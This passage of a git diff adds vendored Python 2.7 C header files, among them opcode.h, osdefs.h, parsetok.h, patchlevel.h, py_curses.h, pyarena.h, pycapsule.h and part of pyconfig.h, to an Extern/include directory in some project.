BINARY_AND 64 +#define BINARY_XOR 65 +#define BINARY_OR 66 +#define INPLACE_POWER 67 +#define GET_ITER 68 + +#define PRINT_EXPR 70 +#define PRINT_ITEM 71 +#define PRINT_NEWLINE 72 +#define PRINT_ITEM_TO 73 +#define PRINT_NEWLINE_TO 74 +#define INPLACE_LSHIFT 75 +#define INPLACE_RSHIFT 76 +#define INPLACE_AND 77 +#define INPLACE_XOR 78 +#define INPLACE_OR 79 +#define BREAK_LOOP 80 +#define WITH_CLEANUP 81 +#define LOAD_LOCALS 82 +#define RETURN_VALUE 83 +#define IMPORT_STAR 84 +#define EXEC_STMT 85 +#define YIELD_VALUE 86 +#define POP_BLOCK 87 +#define END_FINALLY 88 +#define BUILD_CLASS 89 + +#define HAVE_ARGUMENT 90 /* Opcodes from here have an argument: */ + +#define STORE_NAME 90 /* Index in name list */ +#define DELETE_NAME 91 /* "" */ +#define UNPACK_SEQUENCE 92 /* Number of sequence items */ +#define FOR_ITER 93 +#define LIST_APPEND 94 + +#define STORE_ATTR 95 /* Index in name list */ +#define DELETE_ATTR 96 /* "" */ +#define STORE_GLOBAL 97 /* "" */ +#define DELETE_GLOBAL 98 /* "" */ +#define DUP_TOPX 99 /* number of items to duplicate */ +#define LOAD_CONST 100 /* Index in const list */ +#define LOAD_NAME 101 /* Index in name list */ +#define BUILD_TUPLE 102 /* Number of tuple items */ +#define BUILD_LIST 103 /* Number of list items */ +#define BUILD_SET 104 /* Number of set items */ +#define BUILD_MAP 105 /* Always zero for now */ +#define LOAD_ATTR 106 /* Index in name list */ +#define COMPARE_OP 107 /* Comparison operator */ +#define IMPORT_NAME 108 /* Index in name list */ +#define IMPORT_FROM 109 /* Index in name list */ +#define JUMP_FORWARD 110 /* Number of bytes to skip */ + +#define JUMP_IF_FALSE_OR_POP 111 /* Target byte offset from beginning + of code */ +#define JUMP_IF_TRUE_OR_POP 112 /* "" */ +#define JUMP_ABSOLUTE 113 /* "" */ +#define POP_JUMP_IF_FALSE 114 /* "" */ +#define POP_JUMP_IF_TRUE 115 /* "" */ + +#define LOAD_GLOBAL 116 /* Index in name list */ + +#define CONTINUE_LOOP 119 /* Start of loop (absolute) */ +#define SETUP_LOOP 120 /* Target address (relative) */ +#define SETUP_EXCEPT 121 /* "" */ +#define SETUP_FINALLY 122 /* "" */ + +#define LOAD_FAST 124 /* Local variable number */ +#define STORE_FAST 125 /* Local variable number */ +#define DELETE_FAST 126 /* Local variable number */ + +#define RAISE_VARARGS 130 /* Number of raise arguments (1, 2 or 3) */ +/* CALL_FUNCTION_XXX opcodes defined below depend on this definition */ +#define CALL_FUNCTION 131 /* #args + (#kwargs<<8) */ +#define MAKE_FUNCTION 132 /* #defaults */ +#define BUILD_SLICE 133 /* Number of items */ + +#define MAKE_CLOSURE 134 /* #free vars */ +#define LOAD_CLOSURE 135 /* Load free variable from closure */ +#define LOAD_DEREF 136 /* Load and dereference from closure cell */ +#define STORE_DEREF 137 /* Store into cell */ + +/* The next 3 opcodes must be contiguous and satisfy + (CALL_FUNCTION_VAR - CALL_FUNCTION) & 3 == 1 */ +#define CALL_FUNCTION_VAR 140 /* #args + (#kwargs<<8) */ +#define CALL_FUNCTION_KW 141 /* #args + (#kwargs<<8) */ +#define CALL_FUNCTION_VAR_KW 142 /* #args + (#kwargs<<8) */ + +#define SETUP_WITH 143 + +/* Support for opargs more than 16 bits long */ +#define EXTENDED_ARG 145 + +#define SET_ADD 146 +#define MAP_ADD 147 + + +enum cmp_op {PyCmp_LT=Py_LT, PyCmp_LE=Py_LE, PyCmp_EQ=Py_EQ, PyCmp_NE=Py_NE, PyCmp_GT=Py_GT, PyCmp_GE=Py_GE, + PyCmp_IN, PyCmp_NOT_IN, PyCmp_IS, PyCmp_IS_NOT, PyCmp_EXC_MATCH, PyCmp_BAD}; + +#define HAS_ARG(op) ((op) >= HAVE_ARGUMENT) + +#ifdef __cplusplus +} +#endif +#endif /* !Py_OPCODE_H */ diff --git a/Extern/include/Python27/osdefs.h b/Extern/include/Python27/osdefs.h new file mode 100644 index 0000000..6937659 --- /dev/null +++ b/Extern/include/Python27/osdefs.h @@ -0,0 +1,55 @@ +#ifndef Py_OSDEFS_H +#define Py_OSDEFS_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* Operating system dependencies */ + +/* Mod by chrish: QNX has WATCOM, but isn't DOS */ +#if !defined(__QNX__) +#if defined(MS_WINDOWS) || defined(__BORLANDC__) || defined(__WATCOMC__) || defined(__DJGPP__) || defined(PYOS_OS2) +#if defined(PYOS_OS2) && defined(PYCC_GCC) +#define MAXPATHLEN 260 +#define SEP '/' +#define ALTSEP '\\' +#else +#define SEP '\\' +#define ALTSEP '/' +#define MAXPATHLEN 256 +#endif +#define DELIM ';' +#endif +#endif + +#ifdef RISCOS +#define SEP '.' +#define MAXPATHLEN 256 +#define DELIM ',' +#endif + + +/* Filename separator */ +#ifndef SEP +#define SEP '/' +#endif + +/* Max pathname length */ +#ifndef MAXPATHLEN +#if defined(PATH_MAX) && PATH_MAX > 1024 +#define MAXPATHLEN PATH_MAX +#else +#define MAXPATHLEN 1024 +#endif +#endif + +/* Search path entry delimiter */ +#ifndef DELIM +#define DELIM ':' +#endif + +#ifdef __cplusplus +} +#endif +#endif /* !Py_OSDEFS_H */ diff --git a/Extern/include/Python27/parsetok.h b/Extern/include/Python27/parsetok.h new file mode 100644 index 0000000..ec1eb6f --- /dev/null +++ b/Extern/include/Python27/parsetok.h @@ -0,0 +1,64 @@ + +/* Parser-tokenizer link interface */ + +#ifndef Py_PARSETOK_H +#define Py_PARSETOK_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + int error; + const char *filename; + int lineno; + int offset; + char *text; + int token; + int expected; +} perrdetail; + +#if 0 +#define PyPARSE_YIELD_IS_KEYWORD 0x0001 +#endif + +#define PyPARSE_DONT_IMPLY_DEDENT 0x0002 + +#if 0 +#define PyPARSE_WITH_IS_KEYWORD 0x0003 +#endif + +#define PyPARSE_PRINT_IS_FUNCTION 0x0004 +#define PyPARSE_UNICODE_LITERALS 0x0008 + + + +PyAPI_FUNC(node *) PyParser_ParseString(const char *, grammar *, int, + perrdetail *); +PyAPI_FUNC(node *) PyParser_ParseFile (FILE *, const char *, grammar *, int, + char *, char *, perrdetail *); + +PyAPI_FUNC(node *) PyParser_ParseStringFlags(const char *, grammar *, int, + perrdetail *, int); +PyAPI_FUNC(node *) PyParser_ParseFileFlags(FILE *, const char *, grammar *, + int, char *, char *, + perrdetail *, int); +PyAPI_FUNC(node *) PyParser_ParseFileFlagsEx(FILE *, const char *, grammar *, + int, char *, char *, + perrdetail *, int *); + +PyAPI_FUNC(node *) PyParser_ParseStringFlagsFilename(const char *, + const char *, + grammar *, int, + perrdetail *, int); +PyAPI_FUNC(node *) PyParser_ParseStringFlagsFilenameEx(const char *, + const char *, + grammar *, int, + perrdetail *, int *); + +/* Note that he following function is defined in pythonrun.c not parsetok.c. */ +PyAPI_FUNC(void) PyParser_SetError(perrdetail *); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_PARSETOK_H */ diff --git a/Extern/include/Python27/patchlevel.h b/Extern/include/Python27/patchlevel.h new file mode 100644 index 0000000..233e187 --- /dev/null +++ b/Extern/include/Python27/patchlevel.h @@ -0,0 +1,42 @@ + +/* Newfangled version identification scheme. + + This scheme was added in Python 1.5.2b2; before that time, only PATCHLEVEL + was available. To test for presence of the scheme, test for + defined(PY_MAJOR_VERSION). + + When the major or minor version changes, the VERSION variable in + configure.in must also be changed. + + There is also (independent) API version information in modsupport.h. +*/ + +/* Values for PY_RELEASE_LEVEL */ +#define PY_RELEASE_LEVEL_ALPHA 0xA +#define PY_RELEASE_LEVEL_BETA 0xB +#define PY_RELEASE_LEVEL_GAMMA 0xC /* For release candidates */ +#define PY_RELEASE_LEVEL_FINAL 0xF /* Serial should be 0 here */ + /* Higher for patch releases */ + +/* Version parsed out into numeric values */ +/*--start constants--*/ +#define PY_MAJOR_VERSION 2 +#define PY_MINOR_VERSION 7 +#define PY_MICRO_VERSION 0 +#define PY_RELEASE_LEVEL PY_RELEASE_LEVEL_FINAL +#define PY_RELEASE_SERIAL 0 + +/* Version as a string */ +#define PY_VERSION "2.7" +/*--end constants--*/ + +/* Subversion Revision number of this file (not of the repository) */ +#define PY_PATCHLEVEL_REVISION "$Revision: 82500 $" + +/* Version as a single 4-byte hex number, e.g. 0x010502B2 == 1.5.2b2. + Use this for numeric comparisons, e.g. #if PY_VERSION_HEX >= ... */ +#define PY_VERSION_HEX ((PY_MAJOR_VERSION << 24) | \ + (PY_MINOR_VERSION << 16) | \ + (PY_MICRO_VERSION << 8) | \ + (PY_RELEASE_LEVEL << 4) | \ + (PY_RELEASE_SERIAL << 0)) diff --git a/Extern/include/Python27/pgen.h b/Extern/include/Python27/pgen.h new file mode 100644 index 0000000..8a325ed --- /dev/null +++ b/Extern/include/Python27/pgen.h @@ -0,0 +1,18 @@ +#ifndef Py_PGEN_H +#define Py_PGEN_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* Parser generator interface */ + +extern grammar *meta_grammar(void); + +struct _node; +extern grammar *pgen(struct _node *); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_PGEN_H */ diff --git a/Extern/include/Python27/pgenheaders.h b/Extern/include/Python27/pgenheaders.h new file mode 100644 index 0000000..2049ae3 --- /dev/null +++ b/Extern/include/Python27/pgenheaders.h @@ -0,0 +1,42 @@ +#ifndef Py_PGENHEADERS_H +#define Py_PGENHEADERS_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* Include files and extern declarations used by most of the parser. */ + +#include "Python.h" + +PyAPI_FUNC(void) PySys_WriteStdout(const char *format, ...) + Py_GCC_ATTRIBUTE((format(printf, 1, 2))); +PyAPI_FUNC(void) PySys_WriteStderr(const char *format, ...) + Py_GCC_ATTRIBUTE((format(printf, 1, 2))); + +#define addarc _Py_addarc +#define addbit _Py_addbit +#define adddfa _Py_adddfa +#define addfirstsets _Py_addfirstsets +#define addlabel _Py_addlabel +#define addstate _Py_addstate +#define delbitset _Py_delbitset +#define dumptree _Py_dumptree +#define findlabel _Py_findlabel +#define mergebitset _Py_mergebitset +#define meta_grammar _Py_meta_grammar +#define newbitset _Py_newbitset +#define newgrammar _Py_newgrammar +#define pgen _Py_pgen +#define printgrammar _Py_printgrammar +#define printnonterminals _Py_printnonterminals +#define printtree _Py_printtree +#define samebitset _Py_samebitset +#define showtree _Py_showtree +#define tok_dump _Py_tok_dump +#define translatelabels _Py_translatelabels + +#ifdef __cplusplus +} +#endif +#endif /* !Py_PGENHEADERS_H */ diff --git a/Extern/include/Python27/py_curses.h b/Extern/include/Python27/py_curses.h new file mode 100644 index 0000000..657816c --- /dev/null +++ b/Extern/include/Python27/py_curses.h @@ -0,0 +1,176 @@ + +#ifndef Py_CURSES_H +#define Py_CURSES_H + +#ifdef __APPLE__ +/* +** On Mac OS X 10.2 [n]curses.h and stdlib.h use different guards +** against multiple definition of wchar_t. +*/ +#ifdef _BSD_WCHAR_T_DEFINED_ +#define _WCHAR_T +#endif + +/* the following define is necessary for OS X 10.6; without it, the + Apple-supplied ncurses.h sets NCURSES_OPAQUE to 1, and then Python + can't get at the WINDOW flags field. */ +#define NCURSES_OPAQUE 0 +#endif /* __APPLE__ */ + +#ifdef __FreeBSD__ +/* +** On FreeBSD, [n]curses.h and stdlib.h/wchar.h use different guards +** against multiple definition of wchar_t and wint_t. +*/ +#ifdef _XOPEN_SOURCE_EXTENDED +#ifndef __FreeBSD_version +#include +#endif +#if __FreeBSD_version >= 500000 +#ifndef __wchar_t +#define __wchar_t +#endif +#ifndef __wint_t +#define __wint_t +#endif +#else +#ifndef _WCHAR_T +#define _WCHAR_T +#endif +#ifndef _WINT_T +#define _WINT_T +#endif +#endif +#endif +#endif + +#ifdef HAVE_NCURSES_H +#include +#else +#include +#ifdef HAVE_TERM_H +/* for tigetstr, which is not declared in SysV curses */ +#include +#endif +#endif + +#ifdef HAVE_NCURSES_H +/* configure was checking , but we will + use , which has all these features. */ +#ifndef WINDOW_HAS_FLAGS +#define WINDOW_HAS_FLAGS 1 +#endif +#ifndef MVWDELCH_IS_EXPRESSION +#define MVWDELCH_IS_EXPRESSION 1 +#endif +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +#define PyCurses_API_pointers 4 + +/* Type declarations */ + +typedef struct { + PyObject_HEAD + WINDOW *win; +} PyCursesWindowObject; + +#define PyCursesWindow_Check(v) (Py_TYPE(v) == &PyCursesWindow_Type) + +#define PyCurses_CAPSULE_NAME "_curses._C_API" + + +#ifdef CURSES_MODULE +/* This section is used when compiling _cursesmodule.c */ + +#else +/* This section is used in modules that use the _cursesmodule API */ + +static void **PyCurses_API; + +#define PyCursesWindow_Type (*(PyTypeObject *) PyCurses_API[0]) +#define PyCursesSetupTermCalled {if (! ((int (*)(void))PyCurses_API[1]) () ) return NULL;} +#define PyCursesInitialised {if (! ((int (*)(void))PyCurses_API[2]) () ) return NULL;} +#define PyCursesInitialisedColor {if (! ((int (*)(void))PyCurses_API[3]) () ) return NULL;} + +#define import_curses() \ + PyCurses_API = (void **)PyCapsule_Import(PyCurses_CAPSULE_NAME, 1); + +#endif + +/* general error messages */ +static char *catchall_ERR = "curses function returned ERR"; +static char *catchall_NULL = "curses function returned NULL"; + +/* Function Prototype Macros - They are ugly but very, very useful. ;-) + + X - function name + TYPE - parameter Type + ERGSTR - format string for construction of the return value + PARSESTR - format string for argument parsing + */ + +#define NoArgNoReturnFunction(X) \ +static PyObject *PyCurses_ ## X (PyObject *self) \ +{ \ + PyCursesInitialised \ + return PyCursesCheckERR(X(), # X); } + +#define NoArgOrFlagNoReturnFunction(X) \ +static PyObject *PyCurses_ ## X (PyObject *self, PyObject *args) \ +{ \ + int flag = 0; \ + PyCursesInitialised \ + switch(PyTuple_Size(args)) { \ + case 0: \ + return PyCursesCheckERR(X(), # X); \ + case 1: \ + if (!PyArg_ParseTuple(args, "i;True(1) or False(0)", &flag)) return NULL; \ + if (flag) return PyCursesCheckERR(X(), # X); \ + else return PyCursesCheckERR(no ## X (), # X); \ + default: \ + PyErr_SetString(PyExc_TypeError, # X " requires 0 or 1 arguments"); \ + return NULL; } } + +#define NoArgReturnIntFunction(X) \ +static PyObject *PyCurses_ ## X (PyObject *self) \ +{ \ + PyCursesInitialised \ + return PyInt_FromLong((long) X()); } + + +#define NoArgReturnStringFunction(X) \ +static PyObject *PyCurses_ ## X (PyObject *self) \ +{ \ + PyCursesInitialised \ + return PyString_FromString(X()); } + +#define NoArgTrueFalseFunction(X) \ +static PyObject *PyCurses_ ## X (PyObject *self) \ +{ \ + PyCursesInitialised \ + if (X () == FALSE) { \ + Py_INCREF(Py_False); \ + return Py_False; \ + } \ + Py_INCREF(Py_True); \ + return Py_True; } + +#define NoArgNoReturnVoidFunction(X) \ +static PyObject *PyCurses_ ## X (PyObject *self) \ +{ \ + PyCursesInitialised \ + X(); \ + Py_INCREF(Py_None); \ + return Py_None; } + +#ifdef __cplusplus +} +#endif + +#endif /* !defined(Py_CURSES_H) */ + + diff --git a/Extern/include/Python27/pyarena.h b/Extern/include/Python27/pyarena.h new file mode 100644 index 0000000..5f193fe --- /dev/null +++ b/Extern/include/Python27/pyarena.h @@ -0,0 +1,62 @@ +/* An arena-like memory interface for the compiler. + */ + +#ifndef Py_PYARENA_H +#define Py_PYARENA_H + +#ifdef __cplusplus +extern "C" { +#endif + + typedef struct _arena PyArena; + + /* PyArena_New() and PyArena_Free() create a new arena and free it, + respectively. Once an arena has been created, it can be used + to allocate memory via PyArena_Malloc(). Pointers to PyObject can + also be registered with the arena via PyArena_AddPyObject(), and the + arena will ensure that the PyObjects stay alive at least until + PyArena_Free() is called. When an arena is freed, all the memory it + allocated is freed, the arena releases internal references to registered + PyObject*, and none of its pointers are valid. + XXX (tim) What does "none of its pointers are valid" mean? Does it + XXX mean that pointers previously obtained via PyArena_Malloc() are + XXX no longer valid? (That's clearly true, but not sure that's what + XXX the text is trying to say.) + + PyArena_New() returns an arena pointer. On error, it + returns a negative number and sets an exception. + XXX (tim): Not true. On error, PyArena_New() actually returns NULL, + XXX and looks like it may or may not set an exception (e.g., if the + XXX internal PyList_New(0) returns NULL, PyArena_New() passes that on + XXX and an exception is set; OTOH, if the internal + XXX block_new(DEFAULT_BLOCK_SIZE) returns NULL, that's passed on but + XXX an exception is not set in that case). + */ + PyAPI_FUNC(PyArena *) PyArena_New(void); + PyAPI_FUNC(void) PyArena_Free(PyArena *); + + /* Mostly like malloc(), return the address of a block of memory spanning + * `size` bytes, or return NULL (without setting an exception) if enough + * new memory can't be obtained. Unlike malloc(0), PyArena_Malloc() with + * size=0 does not guarantee to return a unique pointer (the pointer + * returned may equal one or more other pointers obtained from + * PyArena_Malloc()). + * Note that pointers obtained via PyArena_Malloc() must never be passed to + * the system free() or realloc(), or to any of Python's similar memory- + * management functions. PyArena_Malloc()-obtained pointers remain valid + * until PyArena_Free(ar) is called, at which point all pointers obtained + * from the arena `ar` become invalid simultaneously. + */ + PyAPI_FUNC(void *) PyArena_Malloc(PyArena *, size_t size); + + /* This routine isn't a proper arena allocation routine. It takes + * a PyObject* and records it so that it can be DECREFed when the + * arena is freed. + */ + PyAPI_FUNC(int) PyArena_AddPyObject(PyArena *, PyObject *); + +#ifdef __cplusplus +} +#endif + +#endif /* !Py_PYARENA_H */ diff --git a/Extern/include/Python27/pycapsule.h b/Extern/include/Python27/pycapsule.h new file mode 100644 index 0000000..cd682fc --- /dev/null +++ b/Extern/include/Python27/pycapsule.h @@ -0,0 +1,56 @@ + +/* Capsule objects let you wrap a C "void *" pointer in a Python + object. They're a way of passing data through the Python interpreter + without creating your own custom type. + + Capsules are used for communication between extension modules. + They provide a way for an extension module to export a C interface + to other extension modules, so that extension modules can use the + Python import mechanism to link to one another. + + For more information, please see "c-api/capsule.html" in the + documentation. +*/ + +#ifndef Py_CAPSULE_H +#define Py_CAPSULE_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_DATA(PyTypeObject) PyCapsule_Type; + +typedef void (*PyCapsule_Destructor)(PyObject *); + +#define PyCapsule_CheckExact(op) (Py_TYPE(op) == &PyCapsule_Type) + + +PyAPI_FUNC(PyObject *) PyCapsule_New( + void *pointer, + const char *name, + PyCapsule_Destructor destructor); + +PyAPI_FUNC(void *) PyCapsule_GetPointer(PyObject *capsule, const char *name); + +PyAPI_FUNC(PyCapsule_Destructor) PyCapsule_GetDestructor(PyObject *capsule); + +PyAPI_FUNC(const char *) PyCapsule_GetName(PyObject *capsule); + +PyAPI_FUNC(void *) PyCapsule_GetContext(PyObject *capsule); + +PyAPI_FUNC(int) PyCapsule_IsValid(PyObject *capsule, const char *name); + +PyAPI_FUNC(int) PyCapsule_SetPointer(PyObject *capsule, void *pointer); + +PyAPI_FUNC(int) PyCapsule_SetDestructor(PyObject *capsule, PyCapsule_Destructor destructor); + +PyAPI_FUNC(int) PyCapsule_SetName(PyObject *capsule, const char *name); + +PyAPI_FUNC(int) PyCapsule_SetContext(PyObject *capsule, void *context); + +PyAPI_FUNC(void *) PyCapsule_Import(const char *name, int no_block); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_CAPSULE_H */ diff --git a/Extern/include/Python27/pyconfig.h b/Extern/include/Python27/pyconfig.h new file mode 100644 index 0000000..c9cd2c0 --- /dev/null +++ b/Extern/include/Python27/pyconfig.h @@ -0,0 +1,756 @@ +#ifndef Py_CONFIG_H +#define Py_CONFIG_H + +/* pyconfig.h. NOT Generated automatically by configure. + +This is a manually maintained version used for the Watcom, +Borland and Microsoft Visual C++ compilers. It is a +standard part of the Python distribution. + +WINDOWS DEFINES: +The code specific to Windows should be wrapped around one of +the following #defines + +MS_WIN64 - Code specific to the MS Win64 API +MS_WIN32 - Code specific to the MS Win32 (and Win64) API (obsolete, this covers all supported APIs) +MS_WINDOWS - Code specific to Windows, but all versions. +MS_WINCE - Code specific to Windows CE +Py_ENABLE_SHARED - Code if the Python core is built as a DLL. + +Also note that neither "_M_IX86" or "_MSC_VER" should be used for +any purpose other than "Windows Intel x86 specific" and "Microsoft +compiler specific". Therefore, these should be very rare. + + +NOTE: The following symbols are deprecated: +NT, USE_DL_EXPORT, USE_DL_IMPORT, DL_EXPORT, DL_IMPORT +MS_CORE_DLL. + +WIN32 is still required for the locale module. + +*/ + +#ifdef _WIN32_WCE +#define MS_WINCE +#endif + +/* Deprecated USE_DL_EXPORT macro - please use Py_BUILD_CORE */ +#ifdef USE_DL_EXPORT +# define Py_BUILD_CORE +#endif /* USE_DL_EXPORT */ + +/* Visual Studio 2005 introduces deprecation warnings for + "insecure" and POSIX functions. The insecure functions should + be replaced by *_s versions (according to Microsoft); the + POSIX functions by _* versions (which, according to Microsoft, + would be ISO C conforming). Neither renaming is feasible, so + we just silence the warnings. */ + +#ifndef _CRT_SECURE_NO_DEPRECATE +#define _CRT_SECURE_NO_DEPRECATE 1 +#endif +#ifndef _CRT_NONSTDC_NO_DEPRECATE +#define _CRT_NONSTDC_NO_DEPRECATE 1 +#endif + +/* Windows CE does not have these */ +#ifndef MS_WINCE +#define HAVE_IO_H +#define HAVE_SYS_UTIME_H +#define HAVE_TEMPNAM +#define HAVE_TMPFILE +#define HAVE_TMPNAM +#define HAVE_CLOCK +#define HAVE_STRERROR +#endif + +#ifdef HAVE_IO_H +#include +#endif + +#define HAVE_HYPOT +#define HAVE_STRFTIME +#define DONT_HAVE_SIG_ALARM +#define DONT_HAVE_SIG_PAUSE +#define LONG_BIT 32 +#define WORD_BIT 32 +#define PREFIX "" +#define EXEC_PREFIX "" + +#define MS_WIN32 /* only support win32 and greater. */ +#define MS_WINDOWS +#ifndef PYTHONPATH +# define PYTHONPATH ".\\DLLs;.\\lib;.\\lib\\plat-win;.\\lib\\lib-tk" +#endif +#define NT_THREADS +#define WITH_THREAD +#ifndef NETSCAPE_PI +#define USE_SOCKET +#endif + +/* CE6 doesn't have strdup() but _strdup(). Assume the same for earlier versions. */ +#if defined(MS_WINCE) +# include +# define strdup _strdup +#endif + +#ifdef MS_WINCE +/* Windows CE does not support environment variables */ +#define getenv(v) (NULL) +#define environ (NULL) +#endif + +/* Compiler specific defines */ + +/* ------------------------------------------------------------------------*/ +/* Microsoft C defines _MSC_VER */ +#ifdef _MSC_VER + +/* We want COMPILER to expand to a string containing _MSC_VER's *value*. + * This is horridly tricky, because the stringization operator only works + * on macro arguments, and doesn't evaluate macros passed *as* arguments. + * Attempts simpler than the following appear doomed to produce "_MSC_VER" + * literally in the string. + */ +#define _Py_PASTE_VERSION(SUFFIX) \ + ("[MSC v." _Py_STRINGIZE(_MSC_VER) " " SUFFIX "]") +/* e.g., this produces, after compile-time string catenation, + * ("[MSC v.1200 32 bit (Intel)]") + * + * _Py_STRINGIZE(_MSC_VER) expands to + * _Py_STRINGIZE1((_MSC_VER)) expands to + * _Py_STRINGIZE2(_MSC_VER) but as this call is the result of token-pasting + * it's scanned again for macros and so further expands to (under MSVC 6) + * _Py_STRINGIZE2(1200) which then expands to + * "1200" + */ +#define _Py_STRINGIZE(X) _Py_STRINGIZE1((X)) +#define _Py_STRINGIZE1(X) _Py_STRINGIZE2 ## X +#define _Py_STRINGIZE2(X) #X + +/* MSVC defines _WINxx to differentiate the windows platform types + + Note that for compatibility reasons _WIN32 is defined on Win32 + *and* on Win64. For the same reasons, in Python, MS_WIN32 is + defined on Win32 *and* Win64. Win32 only code must therefore be + guarded as follows: + #if defined(MS_WIN32) && !defined(MS_WIN64) + Some modules are disabled on Itanium processors, therefore we + have MS_WINI64 set for those targets, otherwise MS_WINX64 +*/ +#ifdef _WIN64 +#define MS_WIN64 +#endif + +/* set the COMPILER */ +#ifdef MS_WIN64 +#if defined(_M_IA64) +#define COMPILER _Py_PASTE_VERSION("64 bit (Itanium)") +#define MS_WINI64 +#elif defined(_M_X64) || defined(_M_AMD64) +#define COMPILER _Py_PASTE_VERSION("64 bit (AMD64)") +#define MS_WINX64 +#else +#define COMPILER _Py_PASTE_VERSION("64 bit (Unknown)") +#endif +#endif /* MS_WIN64 */ + +/* set the version macros for the windows headers */ +#ifdef MS_WINX64 +/* 64 bit only runs on XP or greater */ +#define Py_WINVER _WIN32_WINNT_WINXP +#define Py_NTDDI NTDDI_WINXP +#else +/* Python 2.6+ requires Windows 2000 or greater */ +#ifdef _WIN32_WINNT_WIN2K +#define Py_WINVER _WIN32_WINNT_WIN2K +#else +#define Py_WINVER 0x0500 +#endif +#define Py_NTDDI NTDDI_WIN2KSP4 +#endif + +/* We only set these values when building Python - we don't want to force + these values on extensions, as that will affect the prototypes and + structures exposed in the Windows headers. Even when building Python, we + allow a single source file to override this - they may need access to + structures etc so it can optionally use new Windows features if it + determines at runtime they are available. +*/ +#if defined(Py_BUILD_CORE) || defined(Py_BUILD_CORE_MODULE) +#ifndef NTDDI_VERSION +#define NTDDI_VERSION Py_NTDDI +#endif +#ifndef WINVER +#define WINVER Py_WINVER +#endif +#ifndef _WIN32_WINNT +#define _WIN32_WINNT Py_WINVER +#endif +#endif + +/* _W64 is not defined for VC6 or eVC4 */ +#ifndef _W64 +#define _W64 +#endif + +/* Define like size_t, omitting the "unsigned" */ +#ifdef MS_WIN64 +typedef __int64 ssize_t; +#else +typedef _W64 int ssize_t; +#endif +#define HAVE_SSIZE_T 1 + +#if defined(MS_WIN32) && !defined(MS_WIN64) +#ifdef _M_IX86 +#define COMPILER _Py_PASTE_VERSION("32 bit (Intel)") +#else +#define COMPILER _Py_PASTE_VERSION("32 bit (Unknown)") +#endif +#endif /* MS_WIN32 && !MS_WIN64 */ + +typedef int pid_t; + +#include +#define Py_IS_NAN _isnan +#define Py_IS_INFINITY(X) (!_finite(X) && !_isnan(X)) +#define Py_IS_FINITE(X) _finite(X) +#define copysign _copysign +#define hypot _hypot + +#endif /* _MSC_VER */ + +/* define some ANSI types that are not defined in earlier Win headers */ +#if defined(_MSC_VER) && _MSC_VER >= 1200 +/* This file only exists in VC 6.0 or higher */ +#include +#endif + +/* ------------------------------------------------------------------------*/ +/* The Borland compiler defines __BORLANDC__ */ +/* XXX These defines are likely incomplete, but should be easy to fix. */ +#ifdef __BORLANDC__ +#define COMPILER "[Borland]" + +#ifdef _WIN32 +/* tested with BCC 5.5 (__BORLANDC__ >= 0x0550) + */ + +typedef int pid_t; +/* BCC55 seems to understand __declspec(dllimport), it is used in its + own header files (winnt.h, ...) - so we can do nothing and get the default*/ + +#undef HAVE_SYS_UTIME_H +#define HAVE_UTIME_H +#define HAVE_DIRENT_H + +/* rename a few functions for the Borland compiler */ +#include +#define _chsize chsize +#define _setmode setmode + +#else /* !_WIN32 */ +#error "Only Win32 and later are supported" +#endif /* !_WIN32 */ + +#endif /* BORLANDC */ + +/* ------------------------------------------------------------------------*/ +/* egcs/gnu-win32 defines __GNUC__ and _WIN32 */ +#if defined(__GNUC__) && defined(_WIN32) +/* XXX These defines are likely incomplete, but should be easy to fix. + They should be complete enough to build extension modules. */ +/* Suggested by Rene Liebscher to avoid a GCC 2.91.* + bug that requires structure imports. More recent versions of the + compiler don't exhibit this bug. +*/ +#if (__GNUC__==2) && (__GNUC_MINOR__<=91) +#warning "Please use an up-to-date version of gcc! (>2.91 recommended)" +#endif + +#define COMPILER "[gcc]" +#define hypot _hypot +#define PY_LONG_LONG long long +#define PY_LLONG_MIN LLONG_MIN +#define PY_LLONG_MAX LLONG_MAX +#define PY_ULLONG_MAX ULLONG_MAX +#endif /* GNUC */ + +/* ------------------------------------------------------------------------*/ +/* lcc-win32 defines __LCC__ */ +#if defined(__LCC__) +/* XXX These defines are likely incomplete, but should be easy to fix. + They should be complete enough to build extension modules. */ + +#define COMPILER "[lcc-win32]" +typedef int pid_t; +/* __declspec() is supported here too - do nothing to get the defaults */ + +#endif /* LCC */ + +/* ------------------------------------------------------------------------*/ +/* End of compilers - finish up */ + +#ifndef NO_STDIO_H +# include +#endif + +/* 64 bit ints are usually spelt __int64 unless compiler has overridden */ +#define HAVE_LONG_LONG 1 +#ifndef PY_LONG_LONG +# define PY_LONG_LONG __int64 +# define PY_LLONG_MAX _I64_MAX +# define PY_LLONG_MIN _I64_MIN +# define PY_ULLONG_MAX _UI64_MAX +#endif + +/* For Windows the Python core is in a DLL by default. Test +Py_NO_ENABLE_SHARED to find out. Also support MS_NO_COREDLL for b/w compat */ +#if !defined(MS_NO_COREDLL) && !defined(Py_NO_ENABLE_SHARED) +# define Py_ENABLE_SHARED 1 /* standard symbol for shared library */ +# define MS_COREDLL /* deprecated old symbol */ +#endif /* !MS_NO_COREDLL && ... */ + +/* All windows compilers that use this header support __declspec */ +#define HAVE_DECLSPEC_DLL + +/* For an MSVC DLL, we can nominate the .lib files used by extensions */ +#ifdef MS_COREDLL +# ifndef Py_BUILD_CORE /* not building the core - must be an ext */ +# if defined(_MSC_VER) + /* So MSVC users need not specify the .lib file in + their Makefile (other compilers are generally + taken care of by distutils.) */ +# ifdef _DEBUG +# pragma comment(lib,"python27_d.lib") +# else +# pragma comment(lib,"python27.lib") +# endif /* _DEBUG */ +# endif /* _MSC_VER */ +# endif /* Py_BUILD_CORE */ +#endif /* MS_COREDLL */ + +#if defined(MS_WIN64) +/* maintain "win32" sys.platform for backward compatibility of Python code, + the Win64 API should be close enough to the Win32 API to make this + preferable */ +# define PLATFORM "win32" +# define SIZEOF_VOID_P 8 +# define SIZEOF_TIME_T 8 +# define SIZEOF_OFF_T 4 +# define SIZEOF_FPOS_T 8 +# define SIZEOF_HKEY 8 +# define SIZEOF_SIZE_T 8 +/* configure.in defines HAVE_LARGEFILE_SUPPORT iff HAVE_LONG_LONG, + sizeof(off_t) > sizeof(long), and sizeof(PY_LONG_LONG) >= 